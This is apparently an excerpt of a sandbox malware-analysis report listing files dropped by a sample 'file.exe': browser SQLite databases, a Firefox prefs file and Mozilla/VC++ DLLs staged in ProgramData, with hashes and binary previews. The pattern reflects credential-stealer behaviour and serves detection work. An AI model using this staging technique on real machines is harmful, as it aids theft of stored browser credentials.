Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKKKEGIDBGHIDGDHDBFHDAKJJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKKFHIEGDHJKECAAKKE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHDAAECAEBKJKFHJKECFIJJDAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCFBFBAEBKJKEBGCAEHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KJEHCGDBFCBAKECBKKEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKKKEHJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3fed0d0c-5574-40d8-bb4b-84c06bf4fbf8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	57639
Entropy (8bit):	6.103850398074197
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynFPGWv/sxtwhj7VLyMV/YoskFoz:z/0+zI7ynVv/4KBVeZoskG
MD5:	8EC35F68C2B8608356C089F434E9D243
SHA1:	81C17E421B768E4040C262F7EE390EBA24276E30
SHA-256:	748EF21F3C6973A283AB46378B6D8A1AF4E6FDBB3F2A0BD00FA41CF0B06E53CD
SHA-512:	4B36332E47D8C32FB18C986FD841F021777D681D2BE18D3C4F89D361C35D45A8379584F09BCDFE2CF12374E0E1808D0F14F4014AD1EE2A87AE1C4A6B70FC9280
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6178569a-f410-4417-81d8-2be0853b4415.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57639
Entropy (8bit):	6.103850398074197
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynFPGWv/sxtwhj7VLyMV/YoskFoz:z/0+zI7ynVv/4KBVeZoskG
MD5:	8EC35F68C2B8608356C089F434E9D243
SHA1:	81C17E421B768E4040C262F7EE390EBA24276E30
SHA-256:	748EF21F3C6973A283AB46378B6D8A1AF4E6FDBB3F2A0BD00FA41CF0B06E53CD
SHA-512:	4B36332E47D8C32FB18C986FD841F021777D681D2BE18D3C4F89D361C35D45A8379584F09BCDFE2CF12374E0E1808D0F14F4014AD1EE2A87AE1C4A6B70FC9280
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7c85c3a4-a78f-45fd-8312-ac15f11e1077.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57674
Entropy (8bit):	6.103939100309719
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yn2PGWv/sxtw/j7VLyMV/YoskFoz:z/0+zI7ynCv/4KHVeZoskG
MD5:	8EB7044AABF9399DE2A354D6AAA5AA6C
SHA1:	C3A7FBE8D74C79E68D800453FCDAFE3B77035483
SHA-256:	43009D303A501293CC7E53A6071C2AF54115BE8C336BDC632F1E66FAA3009D68
SHA-512:	7B4B34AE3CF48BE3D2C98D379A18389C42675D94F0BB6E7C40FA71247BECD27ED91BDF73C1DC79EE41C7DDFE8436FAFF94188D324F0E0E6B51E7CD44A920737C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8904a33d-f97b-4a18-a28d-8f51ef2a5b0c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	57674
Entropy (8bit):	6.103939100309719
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yn2PGWv/sxtw/j7VLyMV/YoskFoz:z/0+zI7ynCv/4KHVeZoskG
MD5:	8EB7044AABF9399DE2A354D6AAA5AA6C
SHA1:	C3A7FBE8D74C79E68D800453FCDAFE3B77035483
SHA-256:	43009D303A501293CC7E53A6071C2AF54115BE8C336BDC632F1E66FAA3009D68
SHA-512:	7B4B34AE3CF48BE3D2C98D379A18389C42675D94F0BB6E7C40FA71247BECD27ED91BDF73C1DC79EE41C7DDFE8436FAFF94188D324F0E0E6B51E7CD44A920737C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67548545-2270.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04727405956998776
Encrypted:	false
SSDEEP:	192:lJ90m5tmJnOAU5YBJPi6VBKP7+HfgHX8OI1MkYTwgh0MNBh+zRQcHgPAuRjn8y0d:D90UtaTN4JJhhkVLFAj08T2RGOD
MD5:	CD534DFFB528F085ED1625CB23D8A919
SHA1:	0AC412E213B02FD355DC68BE9B8D828E802F5B4C
SHA-256:	3D2F7D7262595C369CC75D19303988238EB7896010B59700E533166DDDB120F9
SHA-512:	B9AF8107ECD35F7BBEEC5135C20C726DED330C8D7FFBBFD86A134F800CD114FBD22F07E8D771ADDD27C04315F75B73CBA473C14C55F1E3F973A75ADECA0C6D64
Malicious:	false
Preview:	...@..@...@.....C.].....@...............xj..0Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".jroyow20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U..G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.................. .2...........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6754A14A-237C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0467614641183376
Encrypted:	false
SSDEEP:	192:NgPQ0m5tmSnOAUaYCEJgA8x5XSggykfhbNNET1OIV/ERQcQe4B+ynzn8y08Tcm2D:Oo0UtBBEgk9hZIdYH4Eyz08T2RGOD
MD5:	2FC9760401BBC66D6AF28B1056EDED2C
SHA1:	FFF0323F6B2116B490FF020B28B1F2744CC006C4
SHA-256:	9EA3305A01C78D129DE5405B666265C4BFBD625670A84DA1681052D4229E56E1
SHA-512:	FE83BB08938001801A57BE6D6546B78B083C74855FD6C6303E6A33C0BA06AD22FCC14835B63FCE47B28B142DF6ECDF43B1022EF7A1A9935B06F6B8005EF450F0
Malicious:	false
Preview:	...@..@...@.....C.].....@................g..8W..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".jroyow20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U?:K...G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

